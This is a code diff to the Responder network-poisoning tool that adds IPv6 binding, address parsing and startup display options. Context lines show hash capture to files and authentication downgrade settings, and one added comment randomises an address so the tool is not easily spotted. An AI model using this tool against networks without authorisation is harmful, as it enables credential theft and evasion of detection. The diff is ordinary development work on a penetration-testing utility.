if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':
diff --git a/settings.py b/settings.py
index a2ee6ed..095f5b5 100755
--- a/settings.py
+++ b/settings.py
@@ -23,7 +23,7 @@ import subprocess
from utils import *
-__version__ = 'Responder 3.1.0.0'
+__version__ = 'Responder 3.1.1.0'
class Settings:
@@ -83,7 +83,7 @@ class Settings:
# Config parsing
config = ConfigParser.ConfigParser()
config.read(os.path.join(self.ResponderPATH, 'Responder.conf'))
-
+
# Servers
self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP'))
self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS'))
@@ -119,10 +119,8 @@ class Settings:
self.LM_On_Off = options.LM_On_Off
self.NOESS_On_Off = options.NOESS_On_Off
self.WPAD_On_Off = options.WPAD_On_Off
- self.Wredirect = options.Wredirect
self.DHCP_On_Off = options.DHCP_On_Off
self.Basic = options.Basic
- self.Finger_On_Off = options.Finger
self.Interface = options.Interface
self.OURIP = options.OURIP
self.Force_WPAD_Auth = options.Force_WPAD_Auth
@@ -132,23 +130,42 @@ class Settings:
self.ProxyAuth_On_Off = options.ProxyAuth_On_Off
self.CommandLine = str(sys.argv)
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
- self.DHCP_DNS = options.DHCP_DNS
+ self.Bind_To6 = utils.FindLocalIP6(self.Interface, self.OURIP)
+ self.DHCP_DNS = options.DHCP_DNS
+ self.ExternalIP6 = options.ExternalIP6
if self.Interface == "ALL":
self.Bind_To_ALL = True
else:
self.Bind_To_ALL = False
-
+ #IPV4
if self.Interface == "ALL":
self.IP_aton = socket.inet_aton(self.OURIP)
else:
self.IP_aton = socket.inet_aton(self.Bind_To)
-
+ #IPV6
+ if self.Interface == "ALL":
+ if self.OURIP != None and utils.IsIPv6IP(self.OURIP):
+ self.IP_Pton6 = socket.inet_pton(socket.AF_INET6, self.OURIP)
+ else:
+ self.IP_Pton6 = socket.inet_pton(socket.AF_INET6, self.Bind_To6)
+
+ #External IP
if self.ExternalIP:
+ if utils.IsIPv6IP(self.ExternalIP):
+ sys.exit(utils.color('[!] IPv6 address provided with -e parameter. Use -6 IPv6_address instead.', 1))
+
self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
self.ExternalResponderIP = utils.RespondWithIP()
else:
self.ExternalResponderIP = self.Bind_To
+
+ #External IPv6
+ if self.ExternalIP6:
+ self.ExternalIP6Pton = socket.inet_pton(socket.AF_INET6, self.ExternalIP6)
+ self.ExternalResponderIP6 = utils.RespondWithIP6()
+ else:
+ self.ExternalResponderIP6 = self.Bind_To6
self.Os_version = sys.platform
@@ -207,6 +224,7 @@ class Settings:
#Generate Random stuff for one Responder session
self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)])
+ self.Username = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])
self.Domain = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(4)])
self.DHCPHostname = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(9)])
self.DomainName = self.Domain + '.LOCAL'
diff --git a/utils.py b/utils.py
index 2da16be..d82bdf5 100755
--- a/utils.py
+++ b/utils.py
@@ -24,8 +24,24 @@ import settings
import datetime
import codecs
import struct
+import random
+try:
+ import netifaces
+except:
+ sys.exit('You need to install python-netifaces or run Responder with python3...\nTry "apt-get install python-netifaces" or "pip install netifaces"')
+
from calendar import timegm
+def if_nametoindex2(name):
+ if settings.Config.PY2OR3 == "PY2":
+ import ctypes
+ import ctypes.util
+ libc = ctypes.CDLL(ctypes.util.find_library('c'))
+ ret = libc.if_nametoindex(name)
+ return ret
+ else:
+ return socket.if_nametoindex(settings.Config.Interface)
+
def RandomChallenge():
if settings.Config.PY2OR3 == "PY3":
if settings.Config.NumChal == "random":
@@ -128,17 +144,30 @@ def RespondWithIPAton():
else:
return settings.Config.IP_aton.decode('latin-1')
-def RespondWithIP():
+def RespondWithIPPton():
if settings.Config.PY2OR3 == "PY2":
- if settings.Config.ExternalIP:
- return settings.Config.ExternalIP
+ if settings.Config.ExternalIP6:
+ return settings.Config.ExternalIP6Pton
else:
- return settings.Config.Bind_To
+ return settings.Config.IP_Pton6
else:
- if settings.Config.ExternalIP:
- return settings.Config.ExternalIP
+ if settings.Config.ExternalIP6:
+ return settings.Config.ExternalIP6Pton.decode('latin-1')
else:
- return settings.Config.Bind_To
+ return settings.Config.IP_Pton6.decode('latin-1')
+
+def RespondWithIP():
+ if settings.Config.ExternalIP:
+ return settings.Config.ExternalIP
+ else:
+ return settings.Config.Bind_To
+
+def RespondWithIP6():
+ if settings.Config.ExternalIP6:
+ return settings.Config.ExternalIP6
+ else:
+ return settings.Config.Bind_To6
+
def OsInterfaceIsSupported():
if settings.Config.Interface != "Not set":
@@ -148,6 +177,16 @@ def OsInterfaceIsSupported():
def IsOsX():
return sys.platform == "darwin"
+def IsIPv6IP(IP):
+ if IP == None:
+ return False
+ regex = "(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))"
+ ret = re.search(regex, IP)
+ if ret:
+ return True
+ else:
+ return False
+
def FindLocalIP(Iface, OURIP):
if Iface == 'ALL':
return '0.0.0.0'
@@ -155,6 +194,19 @@ def FindLocalIP(Iface, OURIP):
try:
if IsOsX():
return OURIP
+
+ elif IsIPv6IP(OURIP):
+ s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+ s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8'))
+ s.connect(("127.0.0.1",9))#RFC 863
+ ret = s.getsockname()[0]
+ s.close()
+ return ret
+
+
+ elif IsIPv6IP(OURIP) == False and OURIP != None:
+ return OURIP
+
elif OURIP == None:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8'))
@@ -162,11 +214,45 @@ def FindLocalIP(Iface, OURIP):
ret = s.getsockname()[0]
s.close()
return ret
- return OURIP
+
except socket.error:
print(color("[!] Error: %s: Interface not found" % Iface, 1))
sys.exit(-1)
+
+def FindLocalIP6(Iface, OURIP):
+ if Iface == 'ALL':
+ return '::'
+
+ try:
+
+ if IsIPv6IP(OURIP) == False:
+
+ try:
+ #Let's make it random so we don't get spotted easily.
+ randIP = "2001:" + ":".join(("%x" % random.randint(0, 16**4) for i in range(7)))
+ s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
+ s.connect((randIP+':80', 1))
+ IP = s.getsockname()[0]
+ print('IP is: %s'%IP)
+ return IP
+ except:
+ try:
+ #Try harder; Let's get the local link addr
+ IP = str(netifaces.ifaddresses(Iface)[netifaces.AF_INET6][0]["addr"].replace("%"+Iface, ""))
+ return IP
+ except:
+ IP = '::1'
+ print("[+] You don't have an IPv6 address assigned.")
+ return IP
+
+ else:
+ return OURIP
+
+ except socket.error:
+ print(color("[!] Error: %s: Interface not found" % Iface, 1))
+ sys.exit(-1)
+
# Function used to write captured hashs to a file.
def WriteData(outfile, data, user):
logging.info("[*] Captured Hash: %s" % data)
@@ -336,14 +422,20 @@ def SaveDHCPToDb(result):
cursor.close()
def Parse_IPV6_Addr(data):
- if data[len(data)-4:len(data)][1] ==b'\x1c':
- return False
+ if data[len(data)-4:len(data)] == b'\x00\x1c\x00\x01':
+ return 'IPv6'
elif data[len(data)-4:len(data)] == b'\x00\x01\x00\x01':
return True
elif data[len(data)-4:len(data)] == b'\x00\xff\x00\x01':
return True
return False
+def IsIPv6(data):
+ if "::ffff:" in data:
+ return False
+ else:
+ return True
+
def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission.
try:
from string import printable
@@ -435,14 +527,18 @@ def StartupMessage():
print(' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled))
print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled))
print(' %-27s' % "Force ESS downgrade" + (enabled if settings.Config.NOESS_On_Off == True or settings.Config.LM_On_Off == True else disabled))
- print(' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled))
print('')
print(color("[+] ", 2, 1) + "Generic Options:")
print(' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1))
print(' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1))
+ print(' %-27s' % "Responder IPv6" + color('[%s]' % settings.Config.Bind_To6, 5, 1))
+ if settings.Config.ExternalIP:
+ print(' %-27s' % "Responder external IP" + color('[%s]' % settings.Config.ExternalIP, 5, 1))
+ if settings.Config.ExternalIP6:
+ print(' %-27s' % "Responder external IPv6" + color('[%s]' % settings.Config.ExternalIP6, 5, 1))
+
print(' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1))
-
if settings.Config.Upstream_Proxy:
print(' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1))